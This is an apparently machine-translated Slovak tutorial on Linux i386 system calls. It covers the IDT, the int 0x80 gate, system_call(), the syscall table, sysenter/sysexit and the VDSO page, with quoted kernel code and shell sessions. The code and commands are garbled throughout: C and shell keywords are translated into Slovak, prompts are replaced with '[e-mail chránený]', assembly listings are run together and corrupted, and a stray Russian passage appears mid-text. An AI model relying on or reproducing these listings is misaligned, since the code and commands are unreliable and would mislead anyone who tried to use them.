Zoznam systémových volaní jadra pre Linux. Linux - systémové volania. Systémové volania v systéme Linux. Prerušenia v architektúre x86

Veľa - povedal Mrož - je čas hovoriť.
L. Carroll (Citované z knihy B. Stroustrapa)

Namiesto úvodu.

K téme vnútornej štruktúry linuxového jadra vo všeobecnosti, jeho rôznych subsystémov a systémových volaní, to už bolo napísané a prepísané v poriadku. Asi by o tom mal aspoň raz napísať každý autor rešpektujúci seba samého, rovnako ako každý sebaúctyhodný programátor si musí napísať svojho správcu súborov :) Aj keď nie som profesionálny IT spisovateľ a vo všeobecnosti si svoje poznámky robím len pre prvé aby ste nezabudli príliš rýchlo, čo ste sa naučili. Ale ak budú moje cestovateľské zápisky niekomu naozaj užitočné, samozrejme, budem len rád. No vo všeobecnosti kašu maslom nepokazíš, tak snáď aj mne sa podarí napísať alebo opísať niečo, čo sa nikto neunúval spomenúť.

teória. Čo sú systémové volania?

Keď nezasväteným vysvetľujú, čo je softvér (alebo OS), zvyčajne povedia nasledovné: samotný počítač je hardvér, ale práve softvér umožňuje získať z tohto hardvéru nejaké výhody. Hrubé, samozrejme, ale celkovo trochu pravdivé. To isté by som asi povedal o OS a systémových volaniach. V skutočnosti v rôznych operačných systémoch môžu byť systémové volania implementované rôznymi spôsobmi, počet týchto rovnakých volaní sa môže líšiť, ale tak či onak, v tej či onej forme existuje mechanizmus systémových volaní v akomkoľvek OS. Každý deň používateľ explicitne alebo implicitne pracuje so súbormi. Samozrejme, môže si samozrejme otvoriť súbor na úpravu vo svojom obľúbenom MS Word "e alebo Notepad" e, alebo môže jednoducho spustiť hračku, ktorej spustiteľný obrázok je mimochodom tiež uložený v súbore, ktorý zase musí otvoriť a prečítať spustiteľné súbory zavádzača. Na druhej strane dokáže hračka pri svojej práci otvárať a čítať desiatky súborov. Súbory sa samozrejme dajú nielen čítať, ale aj zapisovať (nie vždy, ale tu nehovoríme o oddelení práv a diskrétnom prístupe :)). Toto všetko má na starosti jadro (v mikrokernelových operačných systémoch môže byť situácia iná, ale teraz sa nenápadne prikloníme k objektu našej diskusie – Linuxu, takže tento bod budeme ignorovať). Samotné vytváranie nového procesu je tiež službou, ktorú poskytuje jadro OS. To všetko je úžasné, rovnako ako skutočnosť, že moderné procesory pracujú na frekvenciách v rozsahu gigahertzov a pozostávajú z mnohých miliónov tranzistorov, ale čo ďalej? Áno, čo ak by neexistoval mechanizmus, pomocou ktorého by používateľské aplikácie mohli vykonávať niektoré pomerne všedné a zároveň potrebné veci ( v skutočnosti v každom prípade tieto triviálne akcie nevykonáva používateľská aplikácia, ale jadro OS - ed.), potom bol OS len vec sama osebe - absolútne zbytočná, alebo naopak, každá používateľská aplikácia sa sama o sebe mala stať operačným systémom, aby samostatne slúžila všetkým jej potrebám. Pekné, však?

Dospeli sme teda k definícii systémového volania v prvej aproximácii: systémové volanie je druh služby, ktorú jadro OS poskytuje používateľskej aplikácii na jej žiadosť. Takouto službou môže byť už spomínané otvorenie súboru, jeho vytvorenie, čítanie, zápis, vytvorenie nového procesu, získanie identifikátora procesu (pid), pripojenie súborového systému, vypnutie systému a nakoniec. V skutočnom živote existuje oveľa viac systémových volaní, ako je tu uvedené.

Ako vyzerá systémové volanie a čo to je? Z toho, čo bolo povedané vyššie, je jasné, že systémové volanie je podprogram jadra, ktorý má zodpovedajúci vzhľad. Tí, ktorí majú skúsenosti s programovaním pod Win9x / DOS, si pravdepodobne pamätajú prerušenie int 0x21 so všetkými (alebo aspoň niektorými) jeho mnohými funkciami. Existuje však jedna malá zvláštnosť, ktorá ovplyvňuje všetky volania systému Unix. Podľa konvencie môže funkcia, ktorá implementuje systémové volanie, prijať N argumentov alebo vôbec, ale tak či onak musí funkcia vrátiť hodnotu int. Akákoľvek nezáporná hodnota sa interpretuje ako úspešné vykonanie funkcie systémového volania, a teda aj samotného systémového volania. Hodnota menšia ako nula je znakom chyby a zároveň obsahuje kód chyby (chybové kódy sú definované v hlavičkách include / asm-generic / errno-base.h a include / asm-generic / errno.h) . V Linuxe bolo bránou pre systémové volania donedávna prerušenie int 0x80, kým vo Windowse (až do XP Service Pack 2, ak sa nemýlim) je takouto bránou prerušenie 0x2e. Opäť platí, že v linuxovom jadre boli až donedávna všetky systémové volania obsluhované funkciou system_call (). Ako sa však neskôr ukázalo, klasický mechanizmus spracovania systémových volaní cez bránu 0x80 vedie k výraznému poklesu výkonu na procesoroch Intel Pentium 4. Preto metóda virtuálnych dynamických zdieľaných objektov (DSO je dynamický súbor zdieľaných objektov. ale DSO, to je to, čo používatelia Windows poznajú ako DLL – dynamicky načítaná a prepojená knižnica) – VDSO. Aký je rozdiel medzi novou metódou a klasickou? Najprv sa pozrime na klasickú metódu, ktorá funguje cez bránu 0x80.

Klasický mechanizmus spracovania systémových hovorov v Linuxe.

Prerušenia v architektúre x86.

Ako bolo uvedené vyššie, brána 0x80 (int 0x80) sa predtým používala na obsluhu požiadaviek používateľských aplikácií. Prevádzka systému založeného na architektúre IA-32 je riadená prerušeniami (prísne povedané to platí všeobecne pre všetky systémy založené na x86). Keď nastane udalosť (nový tikot časovača, nejaká aktivita na zariadení, chyby - delenie nulou atď.), vygeneruje sa prerušenie. Prerušenie sa tak nazýva, pretože zvyčajne prerušuje normálny tok kódu. Prerušenia sa zvyčajne delia na hardvérové ​​a softvérové ​​prerušenia. Hardvérové ​​prerušenia sú prerušenia, ktoré sú generované systémom a periférnymi zariadeniami. Ak je potrebné, aby zariadenie upútalo pozornosť jadra OS, toto (zariadenie) vygeneruje signál na svojom riadku požiadavky na prerušenie (IRQ - Interrupt ReQuest line). To vedie k tomu, že na určitých vstupoch procesora sa vygeneruje zodpovedajúci signál, na základe ktorého sa procesor rozhodne prerušiť vykonávanie toku inštrukcií a prenesie riadenie na obsluhu prerušenia, ktorá už zistí, čo sa stalo a čo potrebuje byť hotový. Hardvérové ​​prerušenia majú asynchrónny charakter. To znamená, že prerušenie môže nastať kedykoľvek. Okrem periférnych zariadení dokáže generovať prerušenia (alebo presnejšie hardvérové ​​výnimky – napríklad už spomínané delenie nulou) aj samotný procesor. Deje sa tak s cieľom upozorniť OS na výskyt neštandardnej situácie, aby OS mohol prijať nejaké opatrenia v reakcii na výskyt takejto situácie. Po spracovaní prerušenia sa procesor vráti k vykonávaniu prerušeného programu. Prerušenie môže byť iniciované vlastnou aplikáciou. Toto prerušenie sa nazýva softvérové ​​prerušenie. Softvérové ​​prerušenia sú na rozdiel od hardvérových prerušení synchrónne. To znamená, že keď sa zavolá prerušenie, kód, ktorý ho vyvolal, sa pozastaví, kým sa prerušenie neobsluhuje. Pri ukončení obsluhy prerušenia dôjde k návratu na vzdialenú adresu uloženú skôr (pri volaní prerušenia) v zásobníku, k ďalšej inštrukcii po inštrukcii volajúcej prerušenie (int). Obsluha prerušení je rezidentný (rezidentný v pamäti) kus kódu. Toto je zvyčajne malý program. Aj keď, ak hovoríme o jadre Linuxu, potom obsluha prerušení nie je vždy taká malá. Obsluha prerušenia je definovaná vektorom. Vektor nie je nič iné ako adresa (segment a offset) začiatku kódu, ktorý by mal zvládnuť prerušenia s daným indexom. Práca s prerušeniami sa výrazne líši v reálnom režime a chránenom režime procesora (pripomínam, že ďalej máme na mysli procesory Intel a tie, ktoré sú s nimi kompatibilné). V reálnom (nechránenom) režime činnosti procesora sú obsluhy prerušení určené ich vektormi, ktoré sú uložené vždy na začiatku pamäte, požadovaná adresa sa z tabuľky vektorov vyzvedá podľa indexu, ktorý je zároveň číslom prerušenia. Po prepísaní vektora určitým indexom môžete prerušeniu priradiť vlastný handler.

V chránenom režime už nie sú obsluhy prerušení (brány, brány alebo brány) definované pomocou vektorovej tabuľky. Namiesto tejto tabuľky sa používa tabuľka hradla alebo správnejšie tabuľka prerušení - IDT (Interrupt Descriptors Table). Túto tabuľku tvorí jadro a jej adresa je uložená v registri idtr procesora. Tento register nie je priamo prístupný. Je možné s ním pracovať len pomocou návodu lidt / sidt. Prvý z nich (lidt) načíta hodnotu zadanú v operande do registra idtr a je základnou adresou tabuľky deskriptorov prerušenia, druhý (sidt) ukladá do zadaného operandu adresu tabuľky umiestnenej v idtr. Rovnako ako prebieha výber informácie o segmente z tabuľky deskriptorov selektorom, prebieha aj výber deskriptora segmentu obsluhujúceho prerušenie v chránenom režime. Ochranu pamäte podporujú procesory Intel počnúc CPU i80286 (nie celkom v takej podobe, v akej je teraz prezentovaná, už len preto, že 286 bol 16-bitový procesor – preto Linux na týchto procesoroch bežať nemôže) a i80386, a preto procesor sám robí všetky potrebné výbery, a preto nebudeme zachádzať hlboko do všetkých jemností chráneného režimu (konkrétne Linux pracuje v chránenom režime). Žiaľ, ani čas, ani príležitosti nám nedovoľujú dlho sa zdržiavať pri mechanizme spracovania prerušení v chránenom režime. A to nebolo cieľom pri písaní tohto článku. Všetky tu uvedené informácie o fungovaní rodiny procesorov x86 sú dosť povrchné a slúžia len na to, aby vám pomohli lepšie pochopiť mechanizmus systémových volaní jadra. Niečo sa dá naučiť priamo z kódu jadra, aj keď pre úplné pochopenie toho, čo sa deje, je stále vhodné zoznámiť sa s princípmi chráneného režimu. Kúsok kódu, ktorý vypĺňa počiatočné hodnoty (ale nenastavuje!) IDT je ​​v arch / i386 / kernel / head.S: / * * setup_idt * * nastaví idt s 256 položkami smerujúcimi na * ignore_int, prerušovacie brány. V skutočnosti sa nenačíta * idt - to sa dá urobiť až po povolení stránkovania * a presune jadra na PAGE_OFFSET. Prerušenia * sú povolené inde, keď si môžeme byť relatívne * istí, že je všetko v poriadku. * * Upozornenie: % esi je aktívny v rámci tejto funkcie. * / 1.setup_idt: 2.lea ignore_int,% edx 3.movl $ (__ KERNEL_CS<< 16),%eax 4. movw %dx,%ax /* selector = 0x0010 = cs */ 5. movw $0x8E00,%dx /* interrupt gate - dpl=0, present */ 6. lea idt_table,%edi 7. mov $256,%ecx 8.rp_sidt: 9. movl %eax,(%edi) 10. movl %edx,4(%edi) 11. addl $8,%edi 12. dec %ecx 13. jne rp_sidt 14..macro set_early_handler handler,trapno 15. lea \handler,%edx 16. movl $(__KERNEL_CS << 16),%eax 17. movw %dx,%ax 18. movw $0x8E00,%dx /* interrupt gate - dpl=0, present */ 19. lea idt_table,%edi 20. movl %eax,8*\trapno(%edi) 21. movl %edx,8*\trapno+4(%edi) 22..endm 23. set_early_handler handler=early_divide_err,trapno=0 24. set_early_handler handler=early_illegal_opcode,trapno=6 25. set_early_handler handler=early_protection_fault,trapno=13 26. set_early_handler handler=early_page_fault,trapno=14 28. ret Pár poznámok ku kódu: daný kód je napísaný v akomsi AT&T assembleri, takže vaše znalosti o assembleri v jeho obvyklom Intel zápise môžu byť len mätúce. Najzákladnejší rozdiel je v poradí operandov. Ak je poradie definované pre zápis Intel - "akumulátor"< "источник", то для ассемблера AT&T порядок прямой. Регистры процессора, как правило, должны иметь префикс "%", непосредственные значения (константы) префиксируются символом доллара "$". Синтаксис AT&T традиционно используется в Un*x-системах.

Vo vyššie uvedenom príklade riadky 2-4 nastavujú adresu predvoleného obslužného programu pre všetky prerušenia. Predvolený obslužný program je ignore_int, ktorý nerobí nič. Prítomnosť takéhoto stub je nevyhnutná pre správne spracovanie všetkých prerušení v tejto fáze, pretože jednoducho zatiaľ neexistujú žiadne iné (pasce sú však v kóde nastavené o niečo nižšie - pozrite si príručku Intel Architecture Manual pre pasce alebo niečo podobné , nebudeme tu dotýkať sa pascí). Riadok 5 nastavuje typ ventilu. Na riadku 6 načítame adresu našej IDT tabuľky do indexového registra. Tabuľka by mala obsahovať 255 položiek, každá po 8 bajtoch. V riadkoch 8-13 vyplníme celú tabuľku rovnakými hodnotami nastavenými skôr v registroch eax a edx - to znamená, že toto je prerušovacia brána odkazujúca na obsluhu ignore_int. Nižšie definujeme makro na nastavenie pascí - riadky 14-22. V riadkoch 23-26 sme pomocou vyššie uvedeného makra nastavili pasce na nasledujúce výnimky: early_divide_err - delenie nulou (0), early_illegal_opcode - neznáma inštrukcia procesora (6), early_protection_fault - zlyhanie ochrany pamäte (13), early_page_fault - preklad stránky zlyhanie (14) ... V zátvorkách sú počty "prerušení" vygenerovaných, keď nastane zodpovedajúca abnormálna situácia. Pred kontrolou typu procesora v arch / i386 / kernel / head.S sa IDT nastaví volaním setup_idt: / * * spustenie 32-bitového nastavenia systému. Pre „skutočné“ operácie musíme zopakovať niektoré veci, ktoré sme vykonali * v 16-bitovom režime. * / 1.call setup_idt ... 2.call check_x87 3.lgdt early_gdt_descr 4.lidt idt_descr Po zistení typu (spolu)procesora a vykonaní všetkých prípravných krokov v riadkoch 3 a 4 načítame tabuľky GDT a IDT, ktoré budú použité počas úplne prvých fáz jadra.

Systémové volania a int 0x80.

Vráťme sa od prerušení k systémovým volaniam. Čo je teda potrebné na obsluhu procesu, ktorý vyžaduje službu? Najprv musíte prejsť z kruhu 3 (úroveň privilégií CPL = 3) na najprivilegovanejšiu úroveň 0 (kruh 0, CPL = 0), pretože kód jadra sa nachádza v segmente s najvyššími oprávneniami. Okrem toho je na obsluhu procesu potrebný kód obsluhy. Presne na to slúži brána 0x80. Hoci existuje pomerne veľa systémových volaní, všetky používajú jeden vstupný bod - int 0x80. Samotný handler sa inštaluje pri volaní funkcie arch / i386 / kernel / traps.c :: trap_init (): void __init trap_init (void) (... set_system_gate (SYSCALL_VECTOR, & system_call); ...) Najviac nás zaujíma tento riadok v trap_init (). V tom istom súbore vyššie sa môžete pozrieť na kód funkcie set_system_gate (): static void __init set_system_gate (nepodpísané int n, void * addr) (_set_gate (n, DESCTYPE_TRAP | DESCTYPE_DPL3, addr, __KERNEL_CS);) Tu vidíte, že brána pre prerušenie 0x80 (totiž túto hodnotu definuje makro SYSCALL_VECTOR - tomu slovu môžete veriť :)) je nastavená ako pasca s úrovňou privilégia DPL = 3 (Ring 3), t.j. toto prerušenie bude zachytené pri volaní z užívateľského priestoru. Problém s prechodom z Ring 3 na Ring 0 teda. vyriešené. Funkcia _set_gate () je definovaná v hlavičkovom súbore include / asm-i386 / desc.h. Pre tých, ktorí sú obzvlášť zvedaví, nižšie je uvedený kód bez zdĺhavých vysvetlení: static inline void _set_gate (int gate, unsigned int type, void * addr, unsigned short seg) (__u32 a, b; pack_gate (& a, & b, (unsigned long) addr, seg, type, 0); write_idt_entry (idt_table , brána , a, b);) Vráťme sa k funkcii trap_init (). Volá sa z funkcie start_kernel () v init / main.c. Ak sa pozriete na kód trap_init (), môžete vidieť, že táto funkcia prepisuje niektoré hodnoty tabuľky IDT - obslužné nástroje, ktoré sa používali v počiatočných fázach inicializácie jadra (early_page_fault, early_divide_err, early_illegal_opcode, early_protection_fault) sú nahradené tie, ktoré budú použité už v procesnej práci jadra. Takže sme sa takmer dostali k veci a už vieme, že všetky systémové volania sú spracovávané rovnakým spôsobom - cez bránu int 0x80. Funkcia system_call () je nastavená ako handler pre int 0x80, ako môžete vidieť z vyššie uvedeného kódu arch / i386 / kernel / traps.c :: trap_init ().

systémové_volanie ().

Kód funkcie system_call () sa nachádza v arch / i386 / kernel / entry.S a vyzerá takto: # obslužný program systémového volania stub ENTRY (system_call) RING0_INT_FRAME # sa aj tak nemôže dostať do užívateľského priestoru pushl% eax # save orig_eax CFI_ADJUST_CFA_OFFSET 4 SAVE_ALL GET_THREAD_INFO (% ebp) # sledovanie systémového volania v prevádzke / emulácia, / číslo * Poznámka, potrebuje testw a nie testb * / testw $ (_ TIF_SYSCALL_EMU | _TIF_SYSCALL_TRACE | _TIF_SECCOMP | _TIF_SYSCALL_AUDIT), TI_flags (% ebp) jnz syscall_trace_entry cmpl $ (nr_sall the% PT hodnota %PT_EAX.) # store . Kód sa nezobrazuje celý. Ako vidíte, najprv system_call () nastaví zásobník tak, aby fungoval v kruhu 0, uloží hodnotu, ktorá mu bola odovzdaná cez eax do zásobníka, uloží všetky registre aj do zásobníka, prijme údaje o volajúcom vlákne a skontroluje, či odovzdaná hodnota, číslo systémového volania, presahuje limity tabuľky syscall a potom nakoniec pomocou hodnoty odovzdanej do eax ako argumentu, system_call () prejde na skutočný obslužný program syscall na základe toho, na ktorý záznam tabuľky odkazuje index v eax. Teraz si spomeňte na starú dobrú tabuľku vektorov prerušení v reálnom režime. Nevyzerá to na nič? V skutočnosti je samozrejme všetko o niečo komplikovanejšie. Systémové volanie musí najmä skopírovať výsledky zo zásobníka jadra do zásobníka používateľa, odovzdať návratový kód a niektoré ďalšie veci. V prípade, že argument zadaný v eax neodkazuje na existujúce systémové volanie (hodnota je mimo rozsahu), dôjde k skoku na označenie syscall_badsys. Tu sa hodnota -ENOSYS vloží do zásobníka na offset, na ktorom by sa mala nachádzať hodnota eax - systémové volanie nie je implementované. Tým sa dokončí vykonávanie system_call ().

Tabuľka systémových volaní sa nachádza v súbore arch / i386 / kernel / syscall_table.S a má pomerne jednoduchú formu: ENTRY (sys_call_table) .long sys_restart_syscall / * 0 - staré systémové volanie "setup ()" používané na reštart * / .long sys_exit .long sys_fork .long sys_read .long sys_write .long sys_open / * 5 * / .long_ sysitpid sys. dlhý sys_creat ... Inými slovami, celá tabuľka nie je nič iné ako pole adries funkcií usporiadaných v poradí čísel systémových volaní, ktorým tieto funkcie slúžia. Tabuľka je obyčajné pole dvojitých slov (alebo 32-bitových slov – podľa toho, čo uprednostňujete). Kód pre niektoré funkcie obsluhujúce systémové volania je v časti závislej od platformy - arch / i386 / kernel / sys_i386.c a časť nezávislá od platformy je v časti kernel / sys.c.

To je prípad systémových volaní a brány 0x80.

Nový mechanizmus na spracovanie systémových volaní v Linuxe. sysenter / sysexit.

Ako už bolo spomenuté, rýchlo sa ukázalo, že používanie tradičného spôsobu spracovania systémových volaní založeného na bráne 0x80 vedie k strate výkonu na procesoroch Intel Pentium 4. Preto Linus Torvalds implementoval do jadra nový mechanizmus založený na inštrukciách sysenter / sysexit na zlepšiť výkon jadra na strojoch vybavených procesorom Pentium II alebo vyšším (práve s procesormi Intel Pentium II + podporujú vyššie uvedené inštrukcie sysenter / sysexit). Čo je podstatou nového mechanizmu? Napodiv, ale podstata zostáva rovnaká. Zmenilo sa prevedenie. Podľa dokumentácie Intel je inštrukcia sysenter súčasťou mechanizmu „rýchlych systémových volaní“. Táto inštrukcia je optimalizovaná najmä na rýchly prechod z jednej úrovne privilégií na druhú. Presnejšie povedané, urýchľuje prechod na kruh 0 (Ring 0, CPL = 0). Pritom musí operačný systém pripraviť procesor na použitie inštrukcie sysenter. Toto nastavenie sa vykoná raz pri načítaní a inicializácii jadra OS. Keď sa volá sysenter, nastaví registre procesora podľa registrov závislých od stroja, ktoré predtým nastavil OS. Nastaví sa najmä segmentový register a register ukazovateľa inštrukcie - cs:eip, ako aj segment zásobníka a vrchol zásobníka - ss, esp. Prechod na nový segment kódu a posun sa vykonáva z kruhu 3 na 0.

Sysexit robí opak. Umožňuje rýchly prechod z úrovne privilégií 0 na úroveň 3 (CPL = 3). Tým sa nastaví register segmentov kódu na 16 + hodnota segmentu cs uložená v registri procesora závislom od počítača. Register eip obsahuje obsah registra edx. V ss sa zadá súčet 24 a hodnoty cs, ktoré OS predtým zadal do strojovo závislého registra procesora pri príprave kontextu na fungovanie inštrukcie sysenter. Esp ukladá obsah registra ecx. Hodnoty potrebné na fungovanie pokynov sysenter / sysexit sú uložené na nasledujúcich adresách:

  1. SYSENTER_CS_MSR 0x174 - kódový segment, kde je zapísaná hodnota segmentu, v ktorom sa nachádza kód obsluhy systémového volania.
  2. SYSENTER_ESP_MSR 0x175 - ukazovateľ na hornú časť zásobníka pre obsluhu systémového volania.
  3. SYSENTER_EIP_MSR 0x176 - ukazovateľ na posun v rámci segmentu kódu. Označuje začiatok kódu obsluhy systémových hovorov.
Tieto adresy odkazujú na registre závislé od modelu, ktoré nemajú žiadne mená. Hodnoty sa zapisujú do registrov závislých od modelu pomocou inštrukcie wrmsr, zatiaľ čo edx: eax musí obsahovať hornú a dolnú časť 64-bitového strojového slova a ecx musí obsahovať adresu registra, do ktorého sa bude zapisovať. vyrobené. V systéme Linux sú adresy registrov závislých od modelu definované v hlavičkovom súbore include / asm-i368 / msr-index.h nasledovne (pred verziou 2.6.22 boli aspoň definované v súbore include / asm-i386 / msr .h hlavičkový súbor, dovoľte mi pripomenúť, že mechanizmus systémového volania uvažujeme pomocou príkladu jadra Linuxu 2.6.22): #define MSR_IA32_SYSENTER_CS 0x00000174 #define MSR_IA32_SYSENTER_ESP 0x00000175 #define MSR_IA32_SYSENTER_EIP 0x00000176 Kód jadra zodpovedný za nastavenie registrov závislých od modelu sa nachádza v arch / i386 / sysenter.c a vyzerá takto: 1.void enable_sep_cpu (void) (2.int cpu = get_cpu (); 3.struct tss_struct * tss = & per_cpu (init_tss, cpu); 4.if (! Boot_cpu_has (X86_FEATURE_SEP)) (5.put_cpu (); 6 . return;) 7.tss-> x86_tss.ss1 = __KERNEL_CS; 8.tss-> x86_tss.esp1 = sizeof (struct tss_struct) + (nepodpísané dlhé) tss; 9.wrmsr (MSR_IA32_SYSENTER_RNS, w._0); MSR_IA32_SYSENTER_ESP, tss-> x86_tss.esp1, 0); 11. wrmsr (MSR_IA32_SYSENTER_EIP, (dlhý nepodpísaný) sysenter_entry, 0); 12. put_cpu ();) Tu v premennej tss dostaneme adresu štruktúry, ktorá popisuje segment stavu úlohy. TSS (Task State Segment) sa používa na popis kontextu úlohy a je súčasťou hardvérového multitaskingového mechanizmu pre architektúru x86. Linux však prakticky nepoužíva prepínanie kontextu úloh hardvéru. Podľa dokumentácie Intel sa prepnutie na inú úlohu vykonáva buď vykonaním inštrukcie skoku medzi segmentmi (jmp alebo call), ktorá odkazuje na segment TSS, alebo na deskriptor brány úlohy v GDT (LDT). Špeciálny register procesora neviditeľný pre programátora - TR (Task Register) obsahuje selektor deskriptora úlohy. Načítanie tohto registra tiež načíta programovo neviditeľné základné a limitné registre spojené s TR.

Hoci Linux nepoužíva prepínanie kontextu hardvérových úloh, jadro je nútené vyčleniť položku TSS pre každý procesor nainštalovaný v systéme. Je to preto, že keď sa procesor prepne z používateľského režimu do režimu jadra, získa adresu zásobníka jadra z TSS. Okrem toho je TSS potrebný na riadenie prístupu k I/O portom. TSS obsahuje mapu prístupových práv k portom. Na základe tejto mapy je možné riadiť prístup k portu pre každý proces pomocou inštrukcií vstupu/výstupu. Tu tss-> x86_tss.esp1 ukazuje na zásobník jadra. __KERNEL_CS prirodzene ukazuje na segment kódu jadra. Adresa funkcie sysenter_entry () je špecifikovaná ako offset-eip.

Funkcia sysenter_entry () je definovaná v arch / i386 / kernel / entry.S a vyzerá takto: / * SYSENTER_RETURN ukazuje na za inštrukciou "sysenter" na stránke vsyscall. Pozrite si vsyscall-sysentry.S, ktorý definuje symbol. * / # sysenter call handler stub ENTRY (sysenter_entry) CFI_STARTPROC simple CFI_SIGNAL_FRAME CFI_DEF_CFA esp, 0 CFI_REGISTER esp, ebp movl TSS_sysenter_esp0 (% esp),% esp sysenter_past: povolíme to priamo po sysenter_past / nie je potrebná sekcia llysp: * / ENABLE_INTERRUPTS (CLBR_NONE) pushl $ (__ USER_DS) CFI_ADJUST_CFA_OFFSET 4 / * CFI_REL_OFFSET ss, 0 * / pushl% EBP CFI_ADJUST_CFA_OFFSET 4 CFI_REL_OFFSET ESP, 0 pushfl CFI_ADJUST_CFA_OFFSET 4 pushl $ (__ USER_CS) CFI_ADJUST_CFA_OFFSET 4 / * CFI_REL_OFFSET sk, 0 * / / * * Presuňte current_thread_info () -> sysenter_return do zásobníka. * Je potrebná malá oprava posunu - 4 * 4 znamenajú 4 slová * uvedené vyššie; +8 zodpovedá nastaveniu copy_thread "s esp0. * / Pushl (TI_sysenter_return-THREAD_SIZE + 8 + 4 * 4) (% esp) CFI_ADJUST_CFA_OFFSET 4 CFI_REL_OFFSET eip, 0 / * * Načítajte potenciálny šiesty argument zo zásobníka zabezpečenia používateľa. * Opatrne. * / cmpl $ __ PAGE_OFFSET-3,% ebp jae syscall_fault 1: movl (% ebp),% ebp .section __ex_table, "a" .align 4 .long 1b, syscall_fault .previous pushl% eax, CFI_ADJUST)CF _TIF_SECCOMP je bit číslo 8, a preto potrebuje testw a nie testb * / testw $ (_ TIF_SYSCALL_EMU | _TIF_SYSCALL_TRACE | _TIF_SECCOMP | _TIF_SECCOMP | _TIF_SYSCALL_AUDIT), TI_flags, TI_flags (% jyllca,_axll_calls,%_4) PT_EAX (% esp) DISABLE_INTERRUPTS (CLBR_ANY) TRACE_IRQS_OFF movl TI_flags (% ebp),% ecx testw $ _TIF_ALLWORK_MASK,% cx_existers modysit ss zakázať sysexit * / movl PT_EIP (% xedesxlp),%vl PT_EIP (% xedesxlp) % ebp,% ebp TRACE_IRQS_ON 1: mov PT_FS (% esp),% fs ENABLE_INTERRUPTS_SYSEXIT CFI_ENDPROC .pushsection .fixup, "ax" 2: movl $ 0, PT_FS (% esp) jmp 1b,_tabuľka . 2b .popsection ENDPROC (sysenter_entry) Rovnako ako v prípade system_call (), väčšina práce sa vykonáva v riadku call * sys_call_table (,% eax, 4). Tu sa volá špecifická obsluha systémových hovorov. Je teda jasné, že zásadne sa zmenilo len málo. Skutočnosť, že vektor prerušenia je teraz vtlačený do hardvéru a procesora nám pomáha rýchlo prejsť z jednej úrovne privilégií na druhú, mení iba niektoré detaily vykonávania s rovnakým obsahom. Tým sa však zmeny nekončia. Pamätajte, kde sa príbeh začal. Hneď na začiatku som spomínal virtuálne zdieľané objekty. Ak teda skôr implementácia systémového volania, povedzme, zo systémovej knižnice libc vyzerala ako volanie prerušenia (napriek tomu, že knižnica prevzala niektoré funkcie na zníženie počtu prepínačov kontextu), teraz vďaka VDSO systémové volanie možno vytvoriť takmer priamo, bez knižnice libc. Predtým to mohlo byť implementované priamo, opäť ako prerušenie. Teraz je však možné požiadať o volanie ako o normálnu funkciu exportovanú z dynamicky prepojenej knižnice (DSO). V čase zavádzania jadro určuje, ktorý mechanizmus by mal a môže byť použitý pre danú platformu. V závislosti od okolností jadro nastaví vstupný bod pre funkciu, ktorá vykoná systémové volanie. Ďalej sa funkcia exportuje do užívateľského priestoru ako knižnica linux-gate.so.1. Knižnica linux-gate.so.1 fyzicky neexistuje na disku. Je takpovediac emulované jadrom a existuje presne tak dlho, kým systém beží. Ak vypnete systém, pripojíte koreňový FS z iného systému, potom tento súbor nenájdete na koreňovom FS zastaveného systému. V skutočnosti ho nenájdete ani na spustenom systéme. Fyzicky jednoducho neexistuje. Preto je linux-gate.so.1 niečo iné ako VDSO - t.j. Virtuálny dynamicky zdieľaný objekt. Jadro mapuje dynamicky emulovanú dynamickú knižnicu do adresného priestoru každého procesu. Môžete to ľahko overiť, ak spustíte nasledujúci príkaz: [e-mail chránený] 0 d 0 d $ kat / proces / vlastné / mapy 08048000-0804c000 r-xp 00000000 08:01 46 / zásobník / kat 0804c000-0804d000 rw-p 00003000 04/08 08:01 08:01 08:01 0 ... b7fdf000-b7fe1000 rw-p 00019000 08:01 2066 /lib/ld-2.5.so bffd2000-bffe8000 rw-p bffd2000 00:00 0 ffffffe000-0 00:00 0 ffffffe000-0 Tu je posledný riadok predmetom nášho záujmu: ffffe000-ffffff000 r-xp 00000000 00:00 0 Z uvedeného príkladu je vidieť, že objekt zaberá v pamäti presne jednu stránku – 4096 bajtov, prakticky na okraji adresného priestoru. Urobme ešte jeden experiment: [e-mail chránený]: ~ $ ldd `ktorá mačka` linux-gate.so.1 => (0xffffe000) libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7e87000) / lib / ld-linux .so.2 (0xb7fdf000) [e-mail chránený]: ~ $ ldd `ktoré gcc` linux-gate.so.1 => (0xffffe000) libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7e3c000) / lib / ld-linux .so.2 (0xb7f94000) [e-mail chránený]:~$ Tu sme vzali dve aplikácie z ruky. Je vidieť, že knižnica je namapovaná do priestoru adries procesu na rovnakej konštantnej adrese - 0xffffe000. Teraz sa skúsme pozrieť, čo je vlastne uložené na tejto pamäťovej stránke ...

Pamäťovú stránku, kde je uložený zdieľaný kód VDSO, môžete vypísať pomocou nasledujúceho programu: #include #include #include int main () (char * vdso = 0xffffe000; char * buffer; FILE * f; buffer = malloc (4096); if (! buffer) exit (1); memcpy (buffer, vdso, 4096) ; if (! (f = fopen ("test.dump", "w + b"))) (free (buffer); exit (1);) fwrite (buffer, 4096, 1, f); fclose (f) ; zadarmo (buffer); vrátiť 0;) Presne povedané, skôr to mohlo byť jednoduchšie pomocou príkazu dd if = / proc / self / mem of = test.dump bs = 4096 preskočiť = 1048574 počet = 1, ale jadrá od verzie 2.6.22 alebo možno ešte staršej už nemapujú pamäť procesu na / proc / `pid` / mem. Tento súbor bol uložený, samozrejme pre účely kompatibility, ale neobsahuje viac informácií.

Daný program skompilujeme a spustíme. Skúsme rozobrať výsledný kód: [e-mail chránený]: ~ / tmp $ objdump --disassemble ./test.dump ./test.dump: formát súboru elf32-i386 Demontáž sekcie .text: ffffe400<__kernel_vsyscall>: ffffe400: 51 push% ecx ffffe401: 52 push% edx ffffe402: 55 push% ebp ffffe403: 89 e5 mov% esp,% ebp ffffe405: 0f 34 mpfe40e sys... ffjff30<__kernel_vsyscall+0x3>ffffe410: 5d pop% ebp ffffe411: 5a pop% edx ffffe412: 59 pop% ecx ffffe413: c3 ret ... [e-mail chránený]: ~ / tmp $ Tu je naša brána pre systémové volania, všetko na prvý pohľad. Proces (alebo systémová knižnica libc), ktorý volá funkciu __kernel_vsyscall, sa dostane na adresu 0xffffe400 (v našom prípade). Ďalej, __kernel_vsyscall ukladá obsah registrov ecx, edx, ebp do zásobníka užívateľského procesu O účele registrov ecx a edx sme už hovorili skôr, v ebp sa neskôr používa na obnovu užívateľského zásobníka. Vykoná sa inštrukcia sysenter, "interrupt interception" a následkom toho ďalší prechod na 